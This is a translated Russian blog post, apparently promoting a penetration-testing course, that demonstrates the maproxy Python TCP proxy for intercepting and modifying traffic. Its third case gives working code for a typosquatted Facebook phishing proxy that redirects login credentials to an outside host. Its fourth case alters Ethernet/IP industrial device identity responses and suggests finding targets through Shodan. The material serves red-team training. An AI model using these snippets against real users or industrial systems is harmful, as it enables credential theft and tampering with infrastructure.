Pull to refresh
826.42
OTUS
Цифровые навыки от ведущих экспертов

Обработка сетевых данных на лету

Reading time 5 min
Views 4.2K
Original author: Dawid Skomski
Перевод статьи подготовлен в преддверии старта курса «Пентест. Практика тестирования на проникновение».





Аннотация


Разнообразные виды оценки безопасности, начиная от регулярного тестирования на проникновение и операций Red Team до взлома IoT/ICS-устройств и SCADA, подразумевают под собой работу с бинарными сетевыми протоколами, то есть, по сути, перехват и модификацию сетевых данных между клиентом и целью. Сниффинг сетевого траффика не является сложной задачей, поскольку у нас есть такие инструменты, как Wireshark, Tcpdump или Scapy, однако модификация представляется задачей более трудоемкой, поскольку нам нужно будет иметь своеобразный интерфейс для чтения данных сети, их фильтрации, изменения на лету и отправки обратно на целевой хост почти в режиме реального времени. Кроме того, было бы идеально, если бы такой инструмент мог автоматически работать с несколькими параллельными соединениями и имел возможность кастомизации с помощью скриптов.

Однажды я открыл для себя инструмент, который называется maproxy, документация быстро дала мне понять, что maproxy – как раз то, что мне нужно. Это довольно простой, универсальный и легко настраиваемый TCP-прокси. Я протестировал этот инструмент на нескольких достаточно сложных приложениях, включая ICS – устройства (которые генерируют много пакетов), чтобы узнать, может ли он работать с множеством параллельных соединений, и инструмент хорошо себя показал.

Эта статья познакомит вас с обработкой сетевых данных на лету с помощью maproxy.

Обзор


Инструмент maproxy основан на Tornado – популярном и развитом асинхронном сетевом фреймворке на Python.

В целом, он может работать в нескольких режимах:

  • TCP:TCP – незашифрованные TCP-соединения;
  • TCP:SSL и SSL:TCP – с односторонним шифрованием;
  • SSL:SSL – двустороннее шифрование.

Он поставляется в виде библиотеки. Для быстрого запуска вы можете воспользоваться примерами файлов, которые отражают основные функции библиотеки:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Кейс 1 – простой двунаправленный прокси


Основываясь на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По умолчанию ProxyServer() принимает два аргумента – место подключения и целевой порт. server.listen() принимает в себя один аргумент – порт для прослушивания входящего соединения.

Выполнение скрипта:

# python tcp2tcp.py

Для того, чтобы провести тест, мы собираемся подключиться к локальному SSH-серверу через наш прокси-скрипт, который слушает на 2222/tcp порту и подключается к стандартному порту 22/tcp SSH-сервера:



Приветственный баннер сообщает, что наш пример скрипта успешно проксировал сетевой трафик.

Кейс 2 – модификация данных


Другой демо-скрипт logging_proxy.py идеально подходит для взаимодействия с сетевыми данными. Комментарии в файле описывают методы класса, которые вы можете модифицировать для достижения своей цели:



Самое интересное здесь:

  • on_c2p_done_read – для перехвата данных по пути от клиента к серверу;
  • on_p2s_done_read – в обратную сторону.

Давайте попробуем изменить SSH-баннер, который сервер возвращает клиенту:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Выполните скрипт:



Как видите, клиент был введен в заблуждение, поскольку для него имя SSH-сервера было подменено на «DumnySSH».



Кейс 3 – простая фишинговая веб-страница


Существует бесконечное количество вариантов использования этого инструмента. На этот раз давайте сосредоточимся на чем-то более практичном из области операций Red Team. Давайте будем подражать лендингу m.facebook.com и воспользуемся кастомным доменом с умышленной опечаткой, например, m.facebok.com. В целях демонстрации просто предположим, что домен зарегистрирован нами.

Мы собираемся установить незашифрованное сетевое соединение с нашим прокси жертв и SSL Stream для сервера Facebook (31.13.81.36). Чтобы этот пример заработал, нам нужно заменить заголовок HTTP-хоста и внедрить корректное имя хоста, а еще мы отключим сжатие ответов, чтобы получить легкий доступ к их содержимому. В конечном итоге мы заменим HTML-форму, чтобы учетные данные для входа отправлялись нам, вместо серверов Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

В итоге:



Как видите, мы успешно смогли подменить оригинальный сайт.

Кейс 4 – Портим Ethernet/IP


Я довольно долго имел дело с промышленными устройствами и программным обеспечением (ICS / SCADA), такими как программируемые контроллеры (PLC), модули ввода-вывода, приводы, реле, лестничные среды программирования и многое другое. Этот кейс для тех, кому нравятся промышленные штуки. Взлом таких решений подразумевает активную игру с сетевыми протоколами. В следующем примере, я хотел бы показать, как вы можете модифицировать сетевой трафик ICS/SCADA.

Для этого вам понадобится следующее:

  • Сетевой сниффер, например, Wireshark;
  • Ethernet/IP или просто SIP-устройство, вы можете найти его с помощью сервиса Shodan;
  • Наш скрипт на основе maproxy.

Для начала давайте посмотрим, как выглядит типичный идентификационный ответ от CIP (Common Industrial Protocol):



Идентификация устройства осуществляется с помощью протокола Ethernet/IP, который является расширенной версией протокола Ethernet для промышленных целей, он оборачивает протоколы управления, такие как CIP. Мы собираемся изменить выделенное идентификационное имя, которые видно на скриншоте «NI-IndComm for Ethernet» с помощью нашего прокси-скрипта. Мы могли бы переиспользовать скрипт logging_proxy.py и аналогично модифицировать метод класса on_p2s_done_read, поскольку мы хотим, чтобы на клиенте было видно другое идентификационное имя.

Код:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По сути, мы запросили идентификацию устройства дважды, второй ответ – оригинальный, а первый был модифицирован на лету.

И последнее


На мой взгляд maproxy удобный и простой инструмент, который вдобавок еще и написан на Python, поэтому я считаю, что вы тоже можете получить выгоду от его использования. Конечно, существуют и более сложные инструменты для обработки и изменения сетевых данных, однако они также требуют большего внимания и обычно создаются под конкретный сценарий использования, например, Muraena, Modlishka или evilginx для кейсов, похожих на третий, или же canape для последнего кейса. Так или иначе, с помощью maproxy вы сможете быстро реализовать свои идеи по перехвату сетевых данных, поскольку примеры скриптов очень наглядны.



Тестирование механизмов аутентификации в Windows AD


Tags:
Hubs:
+10
Comments 2
Comments Comments 2

Articles

Information

Website
otus.ru
Registered
Founded
Employees
101–200 employees
Location
Россия
Representative
OTUS